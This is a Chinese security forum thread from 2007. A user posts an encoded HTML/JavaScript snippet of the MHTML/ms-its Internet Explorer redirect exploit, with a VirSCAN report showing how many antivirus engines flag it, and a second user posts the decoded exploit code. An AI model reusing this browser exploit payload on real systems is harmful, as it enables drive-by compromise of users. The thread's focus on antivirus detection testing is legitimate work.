测试文件扫描结果

jehovah_king

var Words="%3Cbody oncontextmenu%3D%22return false%22 ondragstart%3D%22return false%22 onselectstart %3D%22return false%22 onselect%3D%22document%2Eselection%2Eempty%28%29%22 oncopy%3D%22document%2Eselection%2Eempty%28%29%22 onbeforecopy%3D%22return false%22 onmouseup%3D%22document%2Eselection%2Eempty%28%29%22%3E%3Cnoscript%3E%3Ciframe src%3D%2A%3E%3C%2Fiframe%3E%3C%2Fnoscript%3E%0D%0A%3Ctextarea id%3D%22code%22 style%3D%22display%3Anone%3B%22%3E%0D%0A%3Cobject data%3D%22%26%23109%3Bs%2Dits%3Amhtml%3Afile%3A%2F%2Fc%3A%5Cfoo%2Emht%21%24%7Bpath%7D%2Fbs%2Echm%3A%3A%2Fbs%2Ehtm%22 type%3D%22text%2Fx%2Dscriptlet%22%3E%0D%0A%3C%2Fobject%3E%0D%0A%3C%2Ftextarea%3E%0D%0A%3Cscript language%3D%22javascript%22%3E%0D%0Adocument%2Ewrite%28code%2Evalue%2Ereplace%28%2F%5C%24%7Bpath%7D%2Fg%2Clocation%2Ehref%2Esubstring%280%2Clocation%2Ehref%2EindexOf%28%27bs%2Ehtm%27%29%29%29%29%3B%0D%0A%3C%2Fscript%3E%0D%0A";document.write(unescape(Words))  
将以上测试文件写入virus.txt 上传查毒，这是结果
VirSCAN.org Scanned Report :
Scanned time   : 2007/10/03 17:44:05 (CST)
Scanner results: 48%的杀软(16/33)报告发现病毒
File Name      : virus.txt
File Size      : 942 byte
File Type      : ASCII text, with very long lines, with CRLF line terminators
MD5            : 710b6d229f153fd6dc5466f9ece3f2d2
SHA1           : 81f87ca5662aeb076dded59d9d0a0559e490684c
Online report  : http://virscan.org/report.php?id=710b6d229f153fd6dc5466f9ece3f2d2

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      3.0.0.123       2007.10.02        2007-10-02  4.41   -
AntiVir        7.6.0.18        7.0.0.45          2007-10-02  1.88   TR/Expl.HTML.Mht.183
Arcavir        1.0.4           200710021807      2007-10-02  1.19   Trojan.Exploit.Html.Mht
AVAST          1.0.8           000778-1          2007-10-02  3.04   VBS:Malware [Gen]
AVG            7.5.49.442      269.13.37/1042    2007-10-01  1.55   -
BitDefender    7.60825.898029  7.15094           2007-10-03  3.29   -
CA (VET)       8.4.0.24        31.2.5181         2007-10-03  1.26   JS/MHTMLRedir!exploit trojan.
ClamAV         0.91.2          4461              2007-10-03  0.01   -
Comodo         2.11            2.0.0.302         2007-09-03  1.19   -
Dr.WEB         4.33            2007.10.03        2007-10-03  5.50   Exploit.MhtRedir
ewido          4.0.0.2         2007.10.02        2007-10-02  2.36   Not-A-Virus.Exploit.HTML.Mht
F-PROT         4.4.0.50        20070930          2007-09-30  1.25   -
F-SECURE       5.51.6100       2007.10.02.07     2007-10-02  2.63   Exploit.HTML.Mht
飞塔           2.81-3.11       8.182             2007-10-03  0.33   VBS/Download.D!tr
ViRobot        20071002        2007.10.02        2007-10-02  0.53   -
IKARUS         T3.1.1.12       2007.10.03.69608  2007-10-03  1.39   -
江民杀毒       10.00.650       2007.09.30        2007-09-30  0.89   Exploit.MhtRedir.oe
卡巴斯基       5.5.10          2007.10.03        2007-10-03  0.02   Exploit.HTML.Mht
金山毒霸       2007.6.20.249   2007.10.3         2007-10-03  0.84   -
迈克菲         5.2.00          5132              2007-10-02  0.84   Exploit-MhtRedir.gen
MKS_VIR        2.01            2007.10.02        2007-10-02  2.15   -
NOD32          2.70.10         2568              2007-10-03  0.00   HTML/Exploit.Mht trojan
NORMAN         5.91.08         5.90              2007-10-02  3.35   -
熊猫卫士       9.04.03.0001    2007.10.02        2007-10-02  4.21   -
趋势           8.500-1001      4.755.00          2007-10-02  0.04   VBS_DOWNLOAD.D
QuickHeal      9.00            2007.10.02        2007-10-02  3.56   -
瑞星           19.0            19.43.10.00       2007-10-02  1.39   Exploit.HTML.Mht.be
SOPHOS         2.49.1          4.21              2007-10-03  2.87   -
赛门铁克       1.3.0.24        20071002.017      2007-10-02  0.42   Downloader
nProtect       2007-10-02.00   960570            2007-10-02  17.68  -
The Hacker     6.2.6           v00076            2007-10-02  2.13   -
VBA32          3.12.2.4        20071003.0509     2007-10-03  0.75   Exploit.HTML.Mht
VirusBuster    4.3.19:9        9.107.5/11.0      2007-10-02  0.96   -
奇怪的是有的大名鼎鼎的杀软居然不报,大家怎么看?

jimmyleo

<body oncontextmenu="return false" ondragstart="return false" onselectstart ="return false" onselect="document.selection.empty()" oncopy="document.selection.empty()" onbeforecopy="return false" onmouseup="document.selection.empty()"><noscript><iframe src=*></iframe></noscript>

<textarea id="code" style="display:none;">

<object data="ms-its:mhtml:file://c:\foo.mht!${path}/bs.chm::/bs.htm" type="text/x-scriptlet">

</object>

</textarea>

<script language="javascript">

document.write(code.value.replace(/\${path}/g,location.href.substring(0,location.href.indexOf('bs.htm'))));

</script>

king6808

没看懂

hahacomcn

卡巴斯基       5.5.10          2007.10.03        2007-10-03  0.02   Exploit.HTML.Mht

卡巴也报网页病毒？

jimmyleo

有种感觉 就是同质化得厉害

moonsilver

不过一半的都能杀了